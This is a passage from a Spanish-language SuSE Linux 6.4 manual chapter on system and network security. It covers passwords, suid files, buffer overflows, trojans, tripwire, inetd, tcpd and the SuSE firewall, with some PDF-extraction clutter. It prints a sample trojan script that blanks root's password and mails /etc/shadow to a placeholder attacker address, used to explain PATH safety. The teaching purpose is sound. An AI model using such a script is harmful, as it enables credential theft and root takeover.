ser considerados en el caso de una red empresarial. Para comenzar, el apartado 18.1.1 y el apartado 18.1.2 en la página 455Se- guridad en redessubsection.18.1.2, mencionan las distintas posibilidades de atacar un sistema; el apartado 18.2 en la página 457Utilidadessection.18.2 en la en la página 457Utilidadessection.18.2 presenta en detalle las herramientas que proporciona SuSE Linux 6.4 para combatir esos ataques. Al final se da una serie de importantes consejos que se recomienda seguir. 18.1.1 Seguridad local Lo mejor para protegerse es comenzar con la computadora propia en la red local. Incluso cuando la computadora no está en red, es mejor vigilar los principios básicos de seguridad. Una simple manipulación del disco duro por parte de "invitadosöp dría provocar grandes problemas si se pierden con ella los últimos resultados de la tesis doctoral, ¡por ejemplo!. Contraseñas Linux es un sistema operativo multiusuario que no solo trata con distintos usuarios y sus perfiles, sino que también maneja un mecanismo de auten- tificación mediante contraseñas; aunque parezca molesto, es mejor asignar a cada usuario del sistema una buena contraseña2 . Así se consigue como míni- mo una buena protección respecto al intruso incauto. El superusuario `root' _____________________________________________2 Ya se ha escrito mucho acerca de la elección de una ''buena'' contraseña y en el apartado 18.4 en la página 466Consejos generalessection.18.4 damos algunos consejos al respecto. 452 _____________________________________________________________________________________________________18.1.__Fundamentos_____* *______________________ es generalmente el centro de ataques, así que su contraseña debe ser elegida con especial atención. No obstante, las mejores contraseñas no sirven si el intruso tiene acceso directo a la computadora y la puede arrancar por ejemplo con un disquete de arranque. Esto le daría acceso directo al sistema, por lo que se debería desactivar en el Setup de la BIOS la posibilidad de arrancar la computadora con disquete o CD-ROM. _______________________________________________________________________________________________________________________|| |||||||| En el mismo momento de desactivar la posibilidad de arranque vía dis- ||| | |||||||| || | |||||||| quete, se debe activar una contraseña para la BIOS la cual se debe recordar || | |||||||| siempre para no perder el acceso normal a ella. Si la contraseña se pierde || | |||||||| || | |||||||| queda como remedio ''resetear'' la BIOS || | ||||||||_______________________________________________________________________________________________________________||_ Si está usando LILO (ver apartado en la página 130Otras opciones de con- figuración (Selección)Hfootnote.21), es recomendable colocar en el fichero /etc/lilo.conf la opción restricted junto con una contraseña (p. ej. contraseña_segura ) y activarla con el comando lilo . Sin esta protec- ción cualquier persona sentada en frente de la máquina sería capaz de violar la seguridad del sistema. La contraseña ha de ser segura y solo `root' debe tener acceso de lectura al fichero /etc/lilo.conf. El paquete john de la serie Software del ámbito de seguridadsec contiene un programa para descubrir contraseñas. ¡Un administrador de sis- tema cuidadoso puede utilizar este programa para averiguar las contraseñas ''débiles'' para luego poder evitarlas! Derechos de acceso Para restringir las posibilidades de los usuarios, estos siempre deben trabajar con el mínimo de derechos posibles. Esto incluye al administrador de sistema que no debe trabajar como superusuario cuando no esté realizando ninguna tarea de administración. La contraseña del superusuario siempre debe man- tenerse en secreto, para evitar cualquier manipulación ya sea a propósito o accidental. Buffer Overflows y otros ataques El método más común para conseguir derechos de `root' en un sistema es el de provocar ''buffer overruns''3 . El funcionamiento de estos ''Exploits'' se basa en sobreescribir campos estáticos de la pila de usuario (ingl. User stack) de un determinado programa en ejecución. De esta forma se sobreescriben otras variables en la pila de usuario para ejecutar así el código deseado (p. ej. una shell). Programas vulnerables a este tipo de ataque son aquellos que tienen un tamaño de campo (array) estático para la entrada de valores y que no tienen control de desbordamiento de búfer. Los únicos programas atractivos para estos ataques son los que tienen el ''suid-Bit'' o el ''sgid-Bit'' activado, por lo que se ejecutan con los derechos del propietario del programa y no con los del usuario que ejecuta el progra- ma. Normalmente__estos__programas__necesitan__el__modo__''suid_ root'', ya que 3 El tema se conoce también bajo el nombre ''stack smashing vulnerabilities''. * * 453 18. Seguridad y Confianza_________________________________________________________________________________________________________* *_______________________________________@ ejecutan programas de los que root es propietario (p. ej. passwd ). La meta de SuSE Linux es la de disminuir al máximo la cantidad de programas con esta característica para proteger de este modo el sistema. Además, se acon- seja consultar las publicaciones típicas sobre el tema de seguridad y, en caso de que aparezca un hueco de seguridad, instalar inmediatamente los parches necesarios. Otro tipo de ataque a programas privilegiados son los llamados ''link attacks''. Por el trabajo inseguro que estos programas realizan en directorios públicos, sería posible pasar datos a ficheros muy distintos de lo pensado, consiguiendo con ello información restringida sobre el sistema. Para reducir la cantidad de ficheros tipo suid y sgid , SuSE Linux ofrece a través de YaST la posibilidad de asignar los permisos sobre los ficheros, de tal modo que el acceso a ellos sea seguro. Elija `Administración de sis- tema', `Configuraciones de seguridad' y ponga secure o paranoid en `Los permisos de archivo están como:'. Se puede comprobar los ficheros /etc/permissions.secure y /etc/permissions.paranoid para ver los permisos modificados. Antes de llegar al nivel de seguridad paranoid es conveniente comprobar que la funcionalidad del propio sistema no esté demasiado restringida. Por su complejidad y la cantidad de código existente, el sistema X Window (XFree86) ha presentado con cierta frecuencia huecos de seguridad que ac- tualmente no representan tanto problema ya que en SuSE Linux los servidores y librerías ya no son ''suid-root''. Sin embargo, pueden existir algunos defec- tos en la comunicación cliente-servidor, por lo cual, también existe la posi- bilidad de interceptar las entradas por teclado o de leer el contenido de una ventana. Si se tiene en cuenta el consejo No. 3, usando ''Xauthority'' mediante el comando xauth y renunciando al comando xhost + , se consigue un nivel alto de seguridad. Para iniciar programas del sistema X Window de forma re- mota, se usa el paquete ssh de la serie n (network); en caso de uso comercial consultar los términos de licencia en /usr/doc/packages/ssh/COPYING. ssh existe para casi todas las plataformas. No obstante este tipo de ''X11- Forwarding'' involucra otro tipo de peligros, por lo que puede ser mejor pre- scindir completamente de ello. ________________________________________________________________________________________________________* *________ | Por razones de seguridad, además de la pérdida de rendimiento, es mejor * * ||| | * * ||| | prescindir del sistema X Window en los servidores. * * ||| |_______________________________________________________________________________________________________* *________|||_ Virus y caballos de Troya Hay computadoras y sistemas operativos que están seriamente amenazados por muchos tipos de virus, ya que el traspaso de software en disquete repre- senta el mejor caldo de cultivo para los virus. Afortunadamente, hasta ahora solo se conocen 2 virus para Linux. Como prácticamente no se traspasa soft- ware para Linux en formato binario y además SuSE Linux puede ser consid- erado libre de virus, no existe ningún peligro, mientras se tenga en cuenta el consejo No. 1 de la página 466Consejos generalesItem.232. Otra cosa son los virus de macro que se siguen extendiendo p. ej. vía E- Mail, incorporados en documentos de procesadores de texto. Como no existe 454 _____________________________________________________________________________________________________18.1.__Fundamentos_____* *______________________ ningún paquete de ofimática estándar para Linux, estos virus se encuentran bajo SuSE Linux en un ambiente ''estéril''. Cuando se usa SuSE Linux en un servidor de correo como ''agente de traspaso de correo'' (ingl. Mail Transfer Agent), existe la posibilidad de escanear todo el correo entrante y saliente para detectar algún virus incorporado. Los ''caballos de Troya'' merecen especial atención. Son programas que aparentan ser algo muy diferente de lo que realmente son, para poder ac- tuar ''a escondidas''. Por ejemplo, por detrás de un prompt de login se puede esconder un caballo de Troya que almacena en un fichero las contraseñas robadas o las envía por E-Mail al presunto intruso. Es algo que puede parecer inofensivo y divertido, pero en el momento que se trata de robar números de tarjetas de crédito o la clave de acceso a la cuenta corriente, pasa a ser algo se- rio. La posibilidad de descargar un caballo de Troya de Internet o de recibirlo vía Email es relativamente baja. Una vez que se haya violado la seguridad del sistema, el intruso deja generalmente otros caballos de Troya para acceder al sistema en otras ocasiones. Por eso, cuando se descubre un caballo de Troya es bastante seguro que la seguridad del sistema ha sido violada. No hay ninguna protección definitiva contra los virus y los caballos de Troya, pero un buen programa antivirus, un cierto cuidado al traspasar información vía disquete así como el hecho de tomar en consideración los consejos ex- puestos en el apartado 18.4 en la página 466Consejos generalessection.18.4, pueden ayudar mucho. Programas como tripwire en el paquete tripwire, serie sec (Software del ámbito de seguridad), pueden ayudar a detectar prob- lemas se seguridad (ver en la página 458TripwireHfootnote.82). 18.1.2 Seguridad en redes Ya casi no quedan computadoras que trabajen por sí solas. Con las excelentes capacidades de comunicación no es de extrañar que muchas computadoras con Linux se encuentren en una red de área local (LAN), estén conectadas vía módem o RDSI a Internet o sirvan de pasarela (ingl. Gateway) para to- da una sub-red. De esta forma, cada computadora está expuesta a múltiples amenazas procedentes de la red. A la mayoría de los posibles ataques se hace frente con la configuración adecuada de un cortafuegos (ingl. firewall). Los puertos del cortafuegos que quedan abiertos siguen siendo vulnerables, pero la aplicación de algunas herramientas adicionales puede reducir considerable- mente el peligro. La probabilidad de ser el destino de un ataque de este estilo durante unos 30 minutos de comunicación (para leer p. ej. el correo) es prácticamente de- spreciable, sin embargo, se deben proteger en todo caso los sistemas que se conectan a través de una línea permanente. A continuación se presentan las formas de ataque más frecuentes. Man in the Middle Los ataques del tipo ''Man in the Middle'' se refieren a paquetes de informa- ción en la red que se ''rutean'' a través de una o de varias computadoras entre distintas redes. El agresor tiene en este caso el control sobre uno de los en- rutadores (ingl. router) y puede interceptar, modificar y desviar los paquetes * * 455 18. Seguridad y Confianza_________________________________________________________________________________________________________* *_______________________________________@ IP. Como los paquetes IP no están autentificados en la actualidad, esta for- ma de ataque es relativamente sencilla, sin embargo, el futuro estándar IPv6 mejorará esta situación. Estos ataques se pueden producir p. ej. cuando se está enviando E-Mail o accediendo a un servidor web y el único remedio contra ellos es el uso de la criptografía. Las conexiones de red vía telnet o rsh son legibles (con- traseña incluida), ya que no se encriptan y para evitarlo lo mejor es usar ssh para conectarse. En cuanto a los E-Mails es posible apoyarse en pgp . La transmisión codificada de páginas web se consigue con el protocolo SSL4 . De todos modos la calidad de la encriptación siempre se basa en la trans- ferencia segura de las claves, por lo que es muy importante transferirlos con especial cuidado. El paquete apassl de la serie n (network) contiene el servidor Apache (pa- quete apache), capaz de usar SSL. Buffer Overflows, 2a entrega Los Buffer overflows representan, directamente por detrás del ''sniffing'' (la lectura pasiva de datos para espiar p. ej. contraseñas), la manera más frecuente de poner en peligro la seguridad del sistema. En realidad cualquier servicio que sea accesible desde afuera, representa un problema potencial de seguridad (p. ej. Mail, Webserver, POP3, etc.) Todos los servicios imprescindibles solo deberían ser accesibles a través de una configuración de Firewall del kernel de Linux (mediante ipchain ) y solo se debería brindar servicios a determinados solicitantes. Si esto no fuera posible, lo mejor es realizar el servicio en cuestión con una versión especialmente segura (p. ej. paquete postfix en lugar de paquete sendmail). Además los expertos tienen la posibilidad de ejecutar cada servicio en su propio entorno chroot . Denial of Service Para ataques del tipo ''Denial-of-Service'', el agresor bloquea un determinado servicio de red por sobrecarga. Según las circunstancias, esto no solo afecta a un servicio de red en concreto sino que bloquea todos los accesos a la computadora. Este tipo de ataque se realiza especialmente para dejar fuera de servicio a un servidor de nombres con el propósito de acoger su función y de este modo poder desviar los paquetes de red a otro lugar. Para ocultar el origen del ataque, normalmente el ''Denial of Service'' se usa en combinación con ''IP Spoofing'' (ver en la página siguiente). Por lo general, un par de horas después de la publicación de un ataque tipo ''Denial of Service'', el cual realmente llega a paralizar una computadora, aparece un parche para protegerse de él. SuSE Linux incluye parches contra todos los ataques de este tipo que se han llegado a conocer hasta el momento de la edición de este libro, no obstante, el administrador del sistema debería estar siempre al tanto de las últimas novedades. _____________________________________________4 SSL significa Secure Socket Layer. 456 ___________________________________________________________________________________________________________18.2.__Utilidades* *______________________ IP Spoofing Con ''IP Spoofing'' se denomina una técnica que aprovecha un hueco de se- guridad del protocolo TCP/IP. Ya que no se controla la dirección IP del remi- tente de un paquete TCP/IP es posible modificarla, lo cual permite al agresor poder camuflarse. Lo más importante es configurar el propio enrutador de tal manera que solo los paquetes con una dirección externa pasen a la red interna y que solo salgan los mensajes con una dirección interna válida. 18.2 Utilidades Este apartado explica las posibilidades para controlar el sistema usando her- ramientas que comprueban la integridad del mismo. Ante todo hay que aclarar que la exposición frente a los ataques es particular para cada caso; p. ej. una red que está protegida por un cortafuegos no precisa de tantas me- didas de seguridad y control como lo necesita una que no lo esté. 18.2.1 Utilidades locales Entre las ventajas indiscutibles de Linux destacan su estabilidad y el con- cepto multiusuario que por otra parte conlleva también ciertos riesgos nada despreciables. Estos se originan en los derechos de acceso y ejecución menos conocidos de los cuales se puede aprovechar un usuario (agresor) experimen- tado. De hecho se trata del llamado suid-bit; un programa que tenga este bit activado posee automáticamente los derechos del usuario al cual pertenece. Si el programa pertenece al superusuario, entonces se le otorga durante la eje- cución los derechos del superusuario aunque haya sido iniciado por cualquier otro usuario. Esto parece peligroso pero es imprescindible para ejecutar al- gunas funciones. Un ejemplo es ping , que se debe ejecutar con derechos de superusuario. Para que todos los usuarios lo puedan usar, el suid-bit de ping está activado. tux@tierra:/home/tux > ls -l /bin/ping _______________________________________________________________________________________________________________________ |||||||| | |||||||| -rwsr-xr-x 1 root root 13216 Mar 17 16:36 /bin/ping | |||||||| | |||||||| | |||||||| | ||||||||_______________________________________________________________________________________________________________ | Para saber cuáles programas de la computadora tienen el suid-bit activado y pertenecen al usuario `root', introduzca el siguiente comando: tux@tierra:/home/tux > find / -uid 0 -perm +4000 De este modo es posible identificar programas ''sospechosos''. Con YaST , SuSE Linux ofrece la posibilidad de asignar los permisos sobre los ficheros de tal modo que el acceso a ellos sea seguro. Elija `Administración de sis- tema', `Configuraciones de seguridad' y ponga secure para `Los permisos de archivo están como:'. Se puede comprobar el fichero /etc/permissions.secure para ver los permisos modificados. * * 457 18. Seguridad y Confianza_________________________________________________________________________________________________________* *_______________________________________@ Cuesta bastante tiempo supervisar continuamente una o varias computadoras, pero existen afortunadamente herramientas que facilitan esta tarea. Una de estas herramientas es el programa tripwire , paquete tripwire, serie sec (Software del ámbito de seguridad), recomendado por el CERT5 . Tripwire El funcionamiento de tripwire es bastante sencillo; el programa repasa todo el sistema y almacena información sobre los ficheros en un banco de datos. Hay un fichero de configuración que permite definir cuáles directorios se deben comprobar y cuáles aspectos se deben vigilar. Tripwire no busca ficheros infectados ni fallos del sistema sino que genera un banco de datos sobre un sistema supuestamente ''limpio''. Por lo tanto se aconseja generar este banco de datos inmediatamente después de la in- stalación y antes de conectar la computadora a la red, mediante el siguiente comando: root@tierra:root > /var/adm/tripwire/bin/tripwire -init La tabla 18.1 muestra las ramas del banco de datos y del fichero de configu- ración del modo en que están fijadas en SuSE Linux. ________________________________________________________________________________________________________* *________ /var/adm/tripwire Banco de datos y fichero de configuración databases Este directorio se genera de forma au- tomática y alberga temporalmente los ban- cos de datos nuevos. Después estos se deben copiar a mano al lugar correcto. /var/adm/tripwire/ El fichero de configuración. tw.config /var/adm/tripwire/db Aquí se encuentra el banco de datos. ________________________________________________________________________________________________________* *________ Tabla 18.1: Las ramas fijas de los componentes de Tripwire Las ramas se definieron de este modo, ya que solo el superusuario puede entrar a su directorio ''home'' /root. Lo ideal es tener el banco de datos sobre un sistema de ficheros de solo lectura como p. ej. un disquete pro- tegido contra escritura, dado que en caso contrario el agresor sería capaz de ocultar sus manipulaciones modificando el banco de datos. El fichero /usr/doc/packages/tripwire/tw.conf.example.linux muestra una configuración de ejemplo para Tripwire. La sintaxis y las características de este fichero de configuración se detallan en la Manpage de tw.config. Se pueden usar diferentes métodos para generar sumas de comprobación y tam- bién es posible indicar qué información sobre un fichero o directorio debe ser grabada. Después de generar un fichero de configuración individualizado, se podría p. ej. ejecutar tripwire con regularidad como una tarea de cron. _____________________________________________5 CERT = Computer Emergency Response Team; ver http://www.cert.dfn.de/dfncert/ info.html. 458 ___________________________________________________________________________________________________________18.2.__Utilidades* *______________________ SuSE Security Tools SuSE Linux ya contiene cuatro programas de seguridad especialmente desar- rollados para aumentar y controlar la seguridad del sistema. El paquete firewals, serie sec (Software del ámbito de seguridad) contiene el script /usr/sbin/SuSEfirewall, que lee y evalúa el fichero de configu- ración /etc/rc.firewall y después genera listas de filtro restrictivas me- diante ipchains . En el apartado 18.2.2 en la página 461Utilidades para la redsubsection.18.2.2 hay información adicional. El paquete secchk, serie sec (Software del ámbito de seguridad) contiene varios scripts pequeños que efectúan cada día, semana o mes, algunos con- troles de seguridad (p. ej. control de la integridad del fichero de contraseñas, de los datos de usuarios, módulos en ejecución, etc.) y las modificaciones se notifican al administrador de sistema. El paquete secchk, serie sec (Software del ámbito de seguridad) contiene dos programas especiales para SuSE Linux. Después de la instalación se llevan a cabo periódicamente algunas comprobaciones de seguridad (p. ej. la consistencia del fichero de contraseñas, los datos de los usuarios, los módulos en ejecución, etc.) y las modificaciones se notifican al administrador de sistema. El paquete hardsuse, serie sec (Software del ámbito de seguridad) contiene el script /etc/security/harden`suse.pl , escrito en Perl y se desarrolló para ofre- cer a los administradores de sistema un programa de uso sencillo con el fin de aumentar la seguridad. Después del inicio del mismo aparecen 9 preguntas del tipo Sí/No, p. ej. sobre la desactivación de servicios o la minimización de ficheros con suid o sgid-bit. Con estas indicaciones el programa efec- túa cambios en la configuración del sistema. Un fichero de registro con las modificaciones hechas se encuentra en /etc/harden_suse.log, además se generan copias de seguridad de los ficheros modificados. Si después de esto el sistema se comportara de forma no deseada, se podría restablecer la con- figuración anterior con /etc/undo`harden`suse . El paquete scslog, serie sec (Software del ámbito de seguridad) contiene un módulo que protocoliza todas las conexiones de red de entrada y de salida una vez que esté cargado (se puede automatizar esto, añadiéndolo p. ej. a los guiones de inicio). En el paquete secumod, serie sec (Software del ámbito de seguridad) hay un módulo adicional que evita (o al menos dificulta) ataques al sistema. En- tre estos ataques están los del tipo Symlink-, Hardlink- y Pipe y es posible impedir el ''stracing'' de los procesos. Como se trata de un paquete muy nue- vo que aún no está completamente documentado, recomendamos consultar la documentación electrónica sobre este paquete. Hay otras herramientas que ya se están preparando. Leer Logfiles Una buena fuente de información sobre las actividades que se llevan a cabo en la computadora son los ficheros de registro (Logfiles), ya que el sistema y determinados programas almacenan en estos información. Se debería com- * * 459 18. Seguridad y Confianza_________________________________________________________________________________________________________* *_______________________________________@ probar regularmente, como mínimo, el fichero /var/log/messages, ya que SuSE Linux anota en él la mayoría de información disponible. Por lo general falta el tiempo o la motivación para comprobar estos ficheros que crecen continuamente. Por suerte hay herramientas para ayudar en esta tarea como por ejemplo el programa logsurfer , que permite el control contin- uo de los ficheros de registro. Determinados mensajes en el fichero de registro provocan determinadas reacciones, como p. ej. el envío de un mail o el inicio de un programa externo. Hay ejemplos de configuración en la excelente página del manual de logsurfer.conf (man 4 logsurfer.conf ). La variable y el usuario `root'. . . Trabajando como `root' en SuSE Linux probablemente ya habrá notado que el directorio actual se excluye del ''path'' de búsqueda. Esto se manifiesta con la necesidad de anteponer ./ a cualquier programa a ejecutar que se encuentre en el directorio actual. La razón para esto se explica fácilmente de la siguiente manera: o Supongamos que hay un usuario dado de alta en el sistema y éste crea el script que figura en el fichero 18.2.1. ________________________________________________________________________________________________________* *________|||| | * * | | #!/bin/sh * * | | cp /etc/shadow /etc/shadow.system * * | | * * | | cat /etc/shadow.system | \ * * | | sed 's;\(^root:\)[^:]*\(:.*\);\1\2;' > /etc/shadow * * | | * * | | # rm -f /etc/shadow.system * * | | mailx hacker@hackit.org -s "Root Account hacked" < /etc/shadow * * | | /bin/ls $* * * | | * * | | * * | | * * | |_______________________________________________________________________________________________________* *________ | Fichero 18.2.1: Script para obtener una cuenta de `root' o Este script lo copia a /tmp/ls o Si en esta situación el directorio de `root' es /tmp, este directorio (co- mo directorio actual) se encuentra por delante de /bin en la variable , por lo cual, el comando ls ejecuta el script mencionado en lugar del ls ''real'' en /bin/ls. El script quita la contraseña de `root' y envía un mail al usuario agresor informándole que dispone ahora de una cuenta con derechos de superusuario en la computadora. Esto no es muy agradable ;-) Si el directorio actual no hubiese formado parte del ''path'' de búsqueda, se debería haber introducido explícitamente el comando ./ls para ejecutar el script, o sea que, introduciendo solo ls ~ como es normal ~ se hubiera ejecutado ls y no hubiera pasado nada. De hecho el script es un ''caballo de Troya'' (ver en la página 454Virus y caballos de TroyaHfootnote.80). 460 ___________________________________________________________________________________________________________18.2.__Utilidades* *______________________ 18.2.2 Utilidades para la red No cabe duda que es muy importante vigilar y controlar una computadora incorporada en una red, por lo tanto, se comentan a continuación algunas medidas de protección contra ataques procedentes de la misma. El inetd Es importante reflexionar bien sobre los servicios (puertos) que ofrece el in- etd (Internet ''Super-Server''). En la configuración predeterminada de SuSE Linux, los servicios ''peligrosos'' están desactivados. Como ''peligrosos'' se consideran los servicios internos (ingl. internal services) de inetd . El fichero de configuración se encuentra bajo /etc/inetd.conf; sin embargo, tam- bién se debe tener cuidado con otros servicios ~ todo depende de las necesi- dades individuales. Es recomendable echar un vistazo al fichero de configu- ración, ya que hay varios servicios activados por defecto (p. ej. POP3). En el fichero 18.2.2 se muestra una selección de los servicios que normalmente se necesitan en la mayoría de casos. _______________________________________________________________________________________________________________________|| |||||||| | |||||||| ftp stream tcp nowait root /usr/sbin/tcpd wu.ftpd -a | |||||||| telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd | |||||||| shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L | |||||||| | |||||||| login stream tcp nowait root /usr/sbin/tcpd in.rlogind | |||||||| finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd -w | |||||||| ident stream tcp wait nobody /usr/sbin/in.identd in.identd \ | |||||||| -w -e -t120 | |||||||| | |||||||| | |||||||| | ||||||||_______________________________________________________________________________________________________________ | Fichero 18.2.2: Ejemplo de configuración típica para el inetd Tal vez sería conveniente prescindir de los servicios telnet , shell y login , ya que estos permiten al agresor capturar todos los datos sin codificación (con- traseña incluida). Para hacerlo ni siquiera se requiere de conocimientos espe- ciales, porque existen programas hechos a tal propósito. En ningún caso es apropiado permitir el ''login'' remoto como superusuario `root'. Para reme- diar este problema se puede recurrir a la ''Secure Shell'' (paquete ssh), con la que se encripta toda la información transmitida como también la contraseña usada (+ Encriptación). Cortafuegos de SuSE _______________________________________________________________________________________________________________________|| |||||||| El soporte de instalación no responde a preguntas respecto al cortafuegos ||| | |||||||| de SuSE . || | ||||||||_______________________________________________________________________________________________________________||_ El cortafuegos de SuSE (paquete firewals, serie sec (Software del ám- bito de seguridad)) se activa y se configura mediante el fichero /etc/rc. firewall. Las distintas entradas están documentadas en el mismo fichero. Para facilitar el inicio en esta materia, se explican algunos conceptos básicos sobre el uso del cortafuegos de SuSE . * * 461 18. Seguridad y Confianza_________________________________________________________________________________________________________* *_______________________________________@ El protocolo que se usa para la comunicación en Internet es el que se conoce bajo el nombre ''TCP/IP'' que significa ''Transmission Control Protocol and Internet Protocol''. Hoy en día se puede usar TCP/IP en casi cualquier plataforma, sistema operativo o red. El departamento de defensa de los Esta- dos Unidos de América (United States Department of Defence; DoD) desar- rolló este protocolo y lo presentó por primera vez al público en 1978. Los datos en una red del tipo TCP/IP se transfieren de una computadora a la otra en forma de paquetes. Cada paquete comienza con un encabezado (ingl. header), que contiene datos de control como p. ej. la dirección de la computadora destino. Por detrás de este encabezado se encuentran los datos. Para transferir p. ej. un fichero de una computadora a la otra vía red, el con- tenido de este fichero se convierte en una serie de paquetes que se mandan a la computadora destino. El protocolo de transmisión (Transmission Control Protocol, TCP) se encarga de transferir correctamente los paquetes. Este protocolo p. ej. se preocupa de que los paquetes lleguen en el orden correcto al destinatario. TCP representa la capa de transporte y comunica los errores irremediables al protocolo IP que se encuentra encima. Otro protocolo de transporte de esta familia es el UDP. En el caso de este protocolo se ha suprimido el control de errores, haciendo la transferencia más rápida que con TCP. Usando UDP debe existir otro mecanismo (por parte de la aplicación) de reconocimiento y corrección de errores. Una dirección IP (IP versión 4) es un valor de 32 bit. Para aclararlo más, las direcciones IP se escriben en 4 partes decimales de 8 bit, separados por puntos (p. ej. 192.168.0.20). Las comunicaciones se realizan a través de puertos (0 hasta 65535) para que la computadora pueda establecer varias conexiones al instante y distinguirlas. Estos puertos se asignan a las conexiones por lo que el encabezado de un paquete TCP o UDP siempre incorpora el puerto de origen y de destino ~ aparte de la dirección del remitente (la computadora que manda el paquete) y de la de la computadora destino. Ciertos puertos, de 0 hasta 65535, están previstos para determinados servicios (ver también el fichero /etc/services). El puerto 23 (TCP) es por ejemplo el puerto previsto para las conexiones vía telnet. Este puerto forma parte del rango de puertos privilegiados entre 0 y 1023 (TCP y UDP). Los programas que necesitan privilegios de admin- istrador de sistema (derechos de `root') pueden ofrecer sus servicios sobre este rango de puertos (ver /etc/services). Los puertos 1024 hasta 65535 son puertos no privilegiados. La diferencia se explica con un ejemplo simplificado sobre la transferencia de un fichero vía ftp . Hay un servidor FTP que ofrece servicios en el puerto TCP 21; cuando se inicia un cliente FTP en la computadora con la dirección 192.168.3.5 (el cliente) usando el comando: tux@tierra:/home/tux > ftp 192.168.3.16 el cliente establece una conexión TCP hacia el puerto 21 de la computadora con la dirección IP 192.168.3.16 (el servidor). El servidor FTP responde en el puerto 21 y se encarga de la identificación de usuario solicitando el nombre de usuario y la contraseña. La conexión así establecida, sirve también 462 ___________________________________________________________________________________________________________18.2.__Utilidades* *______________________ para la transferencia de todos los comandos-FTP que el usuario introduzca después de entrar al sistema. En comparación a esto, para la transferencia de datos (después de introducir el comando ls o get ), el servidor por sí mismo establece una conexión a un puerto no privilegiado del cliente. Esta conexión sirve entonces para la transferencia real de los datos. TCP/IP se diseñó para redes muy grandes y por tanto incorpora mecanis- mos para estructurar una red. Toda el área de direcciones de 32 bit se puede dividir en sub-redes. Estas se forman por declarar una serie de bits (comen- zando desde la izquierda) como dirección de la sub-red. Por ejemplo para la sub-red con la dirección 192.168.3.0 , los primeros 24 bits de la dirección forman la dirección de la red. La ''máscara de sub-red'' (ingl. Subnetmask) determina cuántos bits de una dirección forman la dirección de red. Por ejem- plo, la máscara de sub-red 255.255.255.0 determina que la computadora con la dirección 192.168.3.5 se encuentra en la sub-red con la dirección 192.168.3.0 . Las sub-redes dentro de una red grande se conectan normalmente a través de un enrutador (ingl. router). Se trata de un dispositivo especial o, de una computadora equipada para esta tarea, que se encarga de enviar los paquetes a su destino correcto. El opuesto de la máscara de sub-red es la dirección de ''broadcast'', a través de la cual se puede acceder a todas las computadoras en una sub-red. Por ejemplo, todas las computadoras de la red 192.168.3.0 se acceden con la dirección de broadcast 192.168.3.255 . Una vez que la computadora está conectada a Internet, ésta forma parte de la red mundial, por lo que se puede acceder a ella desde Internet cada vez que se establezca la conexión al proveedor. Por eso hay que tomar medidas para evitar el acceso indebido desde Internet. De esto se encarga el cortafuegos (filtro|de|paquetes)|de SuSE . | _______________________________________________________________________________________________________________________|||||| |||||||| Los Filtros de paquetes son una especie de cortafuegos a nivel de red que ||| | |||||||| siempre filtran a base de direcciones de remitente, de destinatario y de || | |||||||| || | |||||||| puerto, que figuran dentro de los paquetes IP. Un enrutador sencillo o el fil- || | |||||||| || | |||||||| tro de paquetes de SuSE son cortafuegos a nivel de red (ingl. network level || | |||||||| firewall). Estos no son suficientemente sofisticados para averiguar el sig- || | |||||||| || | |||||||| nificado de un paquete IP y su origen; por eso no ofrecen una protección to- || | |||||||| tal contra ataques. Los cortafuegos modernos están más desarrollados para || | |||||||| || | |||||||| Linux (p. ej. , SINUS Firewall I , http://www.sinusfirewall.org), ya || | |||||||| || | |||||||| que recogen información interna y el contenido de las conexiones que ellos || | |||||||| administran. Los cortafuegos a nivel de aplicación (ingl. application lev- || | |||||||| || | |||||||| el firewalls) (p. ej. TIS Firewall Toolkit ) están representados normalmente || | |||||||| por computadoras que ejecutan un servidor Proxy, que protocoliza y anal- || | |||||||| || | |||||||| iza cuidadosamente todos los datos que pasan por él. Los programas de || | |||||||| servidor Proxy son ideales para establecer mecanismos de protección, ya || | |||||||| || | |||||||| que se ejecutan sobre el cortafuegos. || | ||||||||_______________________________________________________________________________________________________________||_ ¿Para qué se usa el cortafuegos de SuSE ? Para las redes que necesitan un cierto nivel de protección ~ esto es válido prácticamente en todos los lugares que tramitan datos personales ~ los cortafuegos del tipo ''Application Level'' * * 463 18. Seguridad y Confianza_________________________________________________________________________________________________________* *_______________________________________@ son por su funcionamiento lo más indicado. Para estas redes, el cortafuegos (filtro de paquetes) de SuSE no ofrece suficiente protección. El cortafuegos (filtro de paquetes) de SuSE sirve para la protección del PC en casa, de la pequeña red casera o de una estación de trabajo dentro de una red segura. El cortafuegos de SuSE solo se debe utilizar para proteger una red empresar- ial, sabiendo bien lo que se hace (ver la lista bibliográfica). La instalación y el mantenimiento de un cortafuegos exige un conocimiento profundo sobre redes y sobre los protocolos usados. Una superficie gráfica o una configuración predeterminada (como lo ofrece el filtro de paquetes de SuSE ), no pueden reemplazar este conocimiento. La documentación acerca del cortafuegos de SuSE se encuentra en /usr/ doc/packages/firewals y /etc/rc.firewall. Para aprender más sobre el tema de cortafuegos recomendamos las siguientes fuentes de información: o El manual del cortafuegos para Linux 2.0 y 2.2 de Guido Stepken ofrece desde información técnica detallada hasta la descripción de los típicos puntos de ataque y errores, casi todo lo que se precisa saber para montar un cortafuegos seguro con Linux. Este manual solo está disponible en línea bajo el URL: (http://www.little-idiot.de/firewall/) o Para conocer más sobre cortafuegos a base de software libre se puede consultar la información sobre el proyecto ''Freefire'' (http://sites. inka.de/sites/lina/freefire-l/). El TCP-Wrapper El TCP-Wrapper (tcpd ) permite dar acceso a determinados servicios en fun- ción de la dirección IP del solicitante. El programa tcpd ya está integrado en SuSE Linux tal como se puede observar en la sexta columna del fichero 18.2.2 en la página 461El inetd subsection.18.2.2. El funcionamiento de este ser- vicio es sencillo ya que tcpd se encarga de lanzar los servicios después de comprobar si el cliente está autorizado a usarlos. Este control de acceso se configura mediante los ficheros /etc/hosts. allow y /etc/hosts.deny. o Se permite un determinado acceso cuando existe la correspondiente com- binación de cliente y servicio en el fichero /etc/hosts.allow. o Por el contrario, si esta combinación de cliente y servicio se encuentra en el fichero /etc/hosts.deny, el acceso es denegado. o Si la combinación en cuestión no se encuentra en ninguno de los dos ficheros, el acceso es autorizado. ________________________________________________________________________________________________________* *________|| | Las combinaciones de servicio y cliente que se indican en /etc/hosts. * * |||| | allow son ''más fuertes'' que las mismas en /etc/hosts.deny; por ejem- * * ||| | * * ||| | plo, cuando se permite en el fichero /etc/hosts.allow el acceso al puer- * * ||| | to de telnet, éste continúa abierto aunque fuera denegado por una indi- * * ||| | * * ||| 